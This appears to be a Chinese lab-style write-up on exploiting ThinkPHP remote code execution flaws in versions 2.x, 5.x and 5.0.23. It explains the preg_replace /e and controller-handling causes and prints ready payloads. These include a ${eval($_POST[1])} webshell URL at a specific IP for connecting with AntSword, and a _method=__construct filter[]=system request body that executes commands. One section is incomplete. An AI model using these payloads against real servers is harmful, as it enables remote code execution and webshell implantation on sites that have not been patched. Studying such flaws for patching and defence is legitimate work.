目录
1.利用system函数远程命令执行,利用bp抓包,修改请求方式,使用poc进行攻击:
一、2-RCE
漏洞详情
导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞
preg_replace(‘正则规则’,‘替换字符’,‘目标字符’)
如果目标字符存在符合正则规则的字符,那么就替换为替换字符,如果此时正则规则中使用了/e这个修饰符,则存在代码执行漏洞。
e配合函数preg_replace()使用,可以把匹配来的字符串当作正则表达式执行;/e可执行模式,此为PHP专有参数,例如preg_replace函数。
implode(depr,paths)作用就是把路径当作参数放进了数组$depr里面
${@phpinfo()}
作为变量输出到了页面显示,其原理,我通过freebuf总结一下:
在PHP当中,${}是可以构造一个变量的,{}写的是一般的字符,那么就会被当成变量,比如${a}等价于$a
1.构造poc?s=/a/b/c/${phpinfo()}
2. 使用蚁剑连接地址为:
http://139.198.124.92:8080/index.php?s=a/b/c/${eval($_POST[1])}
成功getshell。
二、5-RCE
漏洞原因:
ThinkPHP其版本5中,由于没有正确处理控制器名,导致在网站没有开启强制路由的情况下(即默认情况下)可以执行任意方法,从而导致远程命令执行漏洞。
1,访问
即可执行命令。
三、5.0.23-RCE
漏洞原因
攻击者可向缓存文件内写入PHP代码,导致远程代码执行。虽然该漏洞利用需要有几个前提条件,但鉴于国内使用ThinkPHP框架的站点数量之多,该漏洞还是存在一定的影响范围。由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞。
1.利用system函数远程命令执行,利用bp抓包,修改请求方式,使用poc进行攻击:
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls